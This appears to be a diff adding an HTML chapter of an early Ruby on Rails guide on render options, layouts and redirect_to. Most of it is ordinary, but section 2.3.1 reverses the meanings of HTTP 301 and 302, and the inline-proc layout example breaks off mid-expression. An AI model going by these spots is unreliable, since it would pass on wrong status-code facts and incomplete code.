+<div class="para"><p>If you want to render the view that corresponds to a different action within the same template, you can use <tt>render</tt> with the <tt>:action</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
+  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>book<span style="color: #990000">])</span>
+      redirect_to<span style="color: #990000">(</span><span style="color: #009900">@book</span><span style="color: #990000">)</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"edit"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If the call to <tt>update_attributes_ fails, calling the +update</tt> action in this controller will render the <tt>edit.html.erb</tt> template belonging to the same controller.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Using <tt>render</tt> with <tt>:action</tt> is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does <em>not</em> run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling <tt>render</tt>.</td>
+</tr></table>
+</div>
+<h4 id="_using_tt_render_tt_with_tt_template_tt">2.2.3. Using <tt>render</tt> with <tt>:template</tt></h4>
+<div class="para"><p>What if you want to render a template from an entirely different controller from the one that contains the action code? You can do that with the <tt>:template</tt> option to <tt>render</tt>, which accepts the full path (relative to <tt>app/views</tt>) of the template to render. For example, if you're running code in an <tt>AdminProductsController</tt> that lives in <tt>app/controllers/admin</tt>, you can render the results of an action to a template in <tt>app/views/products</tt> this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>template <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'products/show'</span>
+</tt></pre></div></div>
+<h4 id="_using_tt_render_tt_with_tt_file_tt">2.2.4. Using <tt>render</tt> with <tt>:file</tt></h4>
+<div class="para"><p>If you want to use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications), you can use the <tt>:file</tt> option to <tt>render</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"/u/apps/warehouse_app/current/app/views/products/show"</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>:file</tt> option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">By default, if you use the <tt>:file</tt> option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the <tt>:layout &#8658; true</tt> option</td>
+</tr></table>
+</div>
+<h4 id="_using_tt_render_tt_with_tt_inline_tt">2.2.5. Using <tt>render</tt> with <tt>:inline</tt></h4>
+<div class="para"><p>The <tt>render</tt> method can do without a view completely, if you're willing to use the <tt>:inline</tt> option to supply ERB as part of the method call. This is perfectly valid:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"&lt;% products.each do |p| %&gt;&lt;p&gt;&lt;%= p.name %&gt;&lt;p&gt;&lt;% end %&gt;"</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.</td>
+</tr></table>
+</div>
+<div class="para"><p>By default, inline rendering uses ERb. You can force it to use Builder instead with the <tt>:type</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"xml.p {'Horrid coding practice!'}"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>builder
+</tt></pre></div></div>
+<h4 id="_using_tt_render_tt_with_tt_update_tt">2.2.6. Using <tt>render</tt> with <tt>:update</tt></h4>
+<div class="para"><p>You can also render javascript-based page updates inline using the <tt>:update</tt> option to <tt>render</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>update <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>page<span style="color: #990000">|</span>
+  page<span style="color: #990000">.</span>replace_html <span style="color: #FF0000">'warning'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Invalid options supplied"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update.</td>
+</tr></table>
+</div>
+<h4 id="_rendering_text">2.2.7. Rendering Text</h4>
+<div class="para"><p>You can send plain text - with no markup at all - back to the browser by using the <tt>:text</tt> option to <tt>render</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"OK"</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">By default, if you use the <tt>:text</tt> option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the <tt>:layout &#8658; true</tt> option</td>
+</tr></table>
+</div>
+<h4 id="_rendering_json">2.2.8. Rendering JSON</h4>
+<div class="para"><p>JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>json <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You don't need to call <tt>to_json</tt> on the object that you want to render. If you use the <tt>:json</tt> option, <tt>render</tt> will automatically call <tt>to_json</tt> for you.</td>
+</tr></table>
+</div>
+<h4 id="_rendering_xml">2.2.9. Rendering XML</h4>
+<div class="para"><p>Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You don't need to call <tt>to_xml</tt> on the object that you want to render. If you use the <tt>:xml</tt> option, <tt>render</tt> will automatically call <tt>to_xml</tt> for you.</td>
+</tr></table>
+</div>
+<h4 id="_rendering_vanilla_javascript">2.2.10. Rendering Vanilla JavaScript</h4>
+<div class="para"><p>Rails can render vanilla JavaScript (as an alternative to using <tt>update</tt> with n <tt>.rjs</tt> file):</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>js <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"alert('Hello Rails');"</span>
+</tt></pre></div></div>
+<div class="para"><p>This will send the supplied string to the browser with a MIME type of <tt>text/javascript</tt>.</p></div>
+<h4 id="_options_for_tt_render_tt">2.2.11. Options for <tt>render</tt></h4>
+<div class="para"><p>Calls to the <tt>render</tt> method generally accept four options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:content_type</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:layout</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:status</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:location</tt>
+</p>
+</li>
+</ul></div>
+<h5 id="_the_tt_content_type_tt_option">The <tt>:content_type</tt> Option</h5>
+<div class="para"><p>By default, Rails will serve the results of a rendering operation with the MIME content-type of <tt>text/html</tt> (or <tt>application/json</tt> if you use the <tt>:json</tt> option, or <tt>application/xml</tt> for the <tt>:xml</tt> option.). There are times when you might like to change this, and you can do so by setting the <tt>:content_type</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=&gt;</span> filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>content_type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'application/rss'</span>
+</tt></pre></div></div>
+<h5 id="_the_tt_layout_tt_option">The <tt>:layout</tt> Option</h5>
+<div class="para"><p>With most of the options to <tt>render</tt>, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.</p></div>
+<div class="para"><p>You can use the <tt>:layout</tt> option to tell Rails to use a specific file as the layout for the current action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'special_layout'</span>
+</tt></pre></div></div>
+<div class="para"><p>You can also tell Rails to render with no layout at all:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+</tt></pre></div></div>
+<h5 id="_the_tt_status_tt_option">The <tt>:status</tt> Option</h5>
+<div class="para"><p>Rails will automatically generate a response with the correct HTML status code (in most cases, this is <tt>200 OK</tt>). You can use the <tt>:status</tt> option to change this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #993399">500</span>
+render <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>forbidden
+</tt></pre></div></div>
+<div class="para"><p>Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in <tt>actionpack/lib/action_controller/status_codes.rb</tt>. You can also see there how it maps symbols to status codes in that file.</p></div>
+<h5 id="_the_tt_location_tt_option">The <tt>:location</tt> Option</h5>
+<div class="para"><p>You can use the <tt>:location</tt> option to set the HTTP <tt>Location</tt> header:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> photo<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> photo_url<span style="color: #990000">(</span>photo<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_finding_layouts">2.2.12. Finding Layouts</h4>
+<div class="para"><p>To find the current layout, Rails first looks for a file in <tt>app/views/layouts</tt> with the same base name as the controller. For example, rendering actions from the <tt>PhotosController</tt> class will use <tt>/app/views/layouts/photos.html.erb</tt>. If there is no such controller-specific layout, Rails will use <tt>/app/views/layouts/application.html.erb</tt>. If there is no <tt>.erb</tt> layout, Rails will use a <tt>.builder</tt> layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.</p></div>
+<h5 id="_specifying_layouts_on_a_per_controller_basis">Specifying Layouts on a per-Controller Basis</h5>
+<div class="para"><p>You can override the automatic layout conventions in your controllers by using the <tt>layout</tt> declaration in the controller. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
+  layout <span style="color: #FF0000">"inventory"</span>
+  <span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this declaration, all methods within <tt>ProductsController</tt> will use <tt>app/views/layouts/inventory.html.erb</tt> for their layout.</p></div>
+<div class="para"><p>To assign a specific layout for the entire application, use a declaration in your <tt>ApplicationController</tt> class:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+  layout <span style="color: #FF0000">"main"</span>
+  <span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this declaration, all views in the entire application will use <tt>app/views/layouts/main.html.erb</tt> for their layout.</p></div>
+<h5 id="_choosing_layouts_at_runtime">Choosing Layouts at Runtime</h5>
+<div class="para"><p>You can use a symbol to defer the choice of layout until a request is processed:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
+  layout <span style="color: #990000">:</span>products_layout
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+    <span style="color: #009900">@product</span> <span style="color: #990000">=</span> Product<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  private
+    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> products_layout
+      <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>special? <span style="color: #990000">?</span> <span style="color: #FF0000">"special"</span> <span style="color: #990000">:</span> <span style="color: #FF0000">"products"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
+  layout proc<span style="color: #FF0000">{</span> <span style="color: #990000">|</span>controller<span style="color: #990000">|</span> controller<span style="color: #990000">.</span>
+  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_conditional_layouts">Conditional Layouts</h5>
+<div class="para"><p>Layouts specified at the controller level support <tt>:only</tt> and <tt>:except</tt> options that take either a method name or an array of method names:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>class ProductsController &lt; ApplicationController
+  layout "inventory", :only =&gt; :index
+  layout "product", :except =&gt; [:index, :rss]
+  #...
+end</tt></pre>
+</div></div>
+<div class="para"><p>With those declarations, the <tt>inventory</tt> layout would be used only for the <tt>index</tt> method, the <tt>product</tt> layout would be used for everything else except the <tt>rss</tt> method, and the <tt>rss</tt> method will have its layout determined by the automatic layout rules.</p></div>
+<h5 id="_layout_inheritance">Layout Inheritance</h5>
+<div class="para"><p>Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:</p></div>
+<div class="para"><p><tt>application.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
+  layout <span style="color: #FF0000">"main"</span>
+  <span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><tt>posts_controller.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
+  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><tt>special_posts_controller.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> SpecialPostsController <span style="color: #990000">&lt;</span> PostsController
+  layout <span style="color: #FF0000">"special"</span>
+  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><tt>old_posts_controller.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> OldPostsController <span style="color: #990000">&lt;</span> SpecialPostsController
+  layout <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+    <span style="color: #009900">@old_posts</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>older
+    render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"old"</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In this application:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+In general, views will be rendered in the <tt>main</tt> layout
+</p>
+</li>
+<li>
+<p>
+<tt>PostsController#index</tt> will use the <tt>main</tt> layout
+</p>
+</li>
+<li>
+<p>
+<tt>SpecialPostsController#index</tt> will use the <tt>special</tt> layout
+</p>
+</li>
+<li>
+<p>
+<tt>OldPostsController#show</tt> will use no layout at all
+</p>
+</li>
+<li>
+<p>
+<tt>OldPostsController#index</tt> will use the <tt>old</tt> layout
+</p>
+</li>
+</ul></div>
+<h4 id="_avoiding_double_render_errors">2.2.13. Avoiding Double Render Errors</h4>
+<div class="para"><p>Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that <tt>render</tt> works.</p></div>
+<div class="para"><p>For example, here's some code that will trigger this error:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>special?
+    render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"special_show"</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If <tt>@book.special?</tt> evaluates to <tt>true</tt>, Rails will start the rendering process to dump the <tt>@book</tt> variable into the <tt>special_show</tt> view. But this will <em>not</em> stop the rest of the code in the <tt>show</tt> action from running, and when Rails hits the end of the action, it will start to render the <tt>show</tt> view - and throw an error. The solution is simple: make sure that you only have one call to <tt>render</tt> or <tt>redirect</tt> in a single code path. One thing that can help is <tt>and return</tt>. Here's a patched version of the method:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>special?
+    render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"special_show"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_using_tt_redirect_to_tt">2.3. Using <tt>redirect_to</tt></h3>
+<div class="para"><p>Another way to handle returning responses to a HTTP request is with <tt>redirect_to</tt>. As you've seen, <tt>render</tt> tells Rails which view (or other asset) to use in constructing a response. The <tt>redirect_to</tt> method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>redirect_to photos_path
+</tt></pre></div></div>
+<div class="para"><p>You can use <tt>redirect_to</tt> with any arguments that you could use with <tt>link_to</tt> or <tt>url_for</tt>. In addition, there's a special redirect that sends the user back to the page they just came from:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>redirect_to :back</tt></pre>
+</div></div>
+<h4 id="_getting_a_different_redirect_status_code">2.3.1. Getting a Different Redirect Status Code</h4>
+<div class="para"><p>Rails uses HTTP status code 302 (permanent redirect) when you call <tt>redirect_to</tt>. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the <tt>:status</tt> option:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>redirect_to photos_path, :status =&gt; 301</tt></pre>
+</div></div>
+<div class="para"><p>Just like the <tt>:status</tt> option for <tt>render</tt>, <tt>:status</tt> for <tt>redirect_to</tt> accepts both numeric and symbolic header designations.</p></div>
+<h4 id="_the_difference_between_tt_render_tt_and_tt_redirect_tt">2.3.2. The Difference Between <tt>render</tt> and <tt>redirect</tt></h4>
+<div class="para"><p>Sometimes inexperienced developers conceive of <tt>redirect_to</tt> as a sort of <tt>goto</tt> command, moving execution from one place to another in your Rails code. This is <em>not</em> correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code.</p></div>
+<div class="para"><p>Consider these actions to see the difference:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+  <span style="color: #009900">@books</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+    render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With the code in this form, there will be likely be a problem if the <tt>@book</tt> variable is <tt>nil</tt>. Remember, a <tt>render :action</tt> doesn't run any code in the target action, so nothing will set up the <tt>@books</tt> variable that the <tt>index</tt> view is presumably depending on. One way to fix this is to redirect instead of rendering:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+  <span style="color: #009900">@books</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+    redirect_to <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this code, the browser will make a fresh request for the index page, the code in the <tt>index</tt> method will run, and all will be well.</p></div>
+<h3 id="_using_tt_head_tt_to_build_header_only_responses">2.4. Using <tt>head</tt> To Build Header-Only Responses</h3>
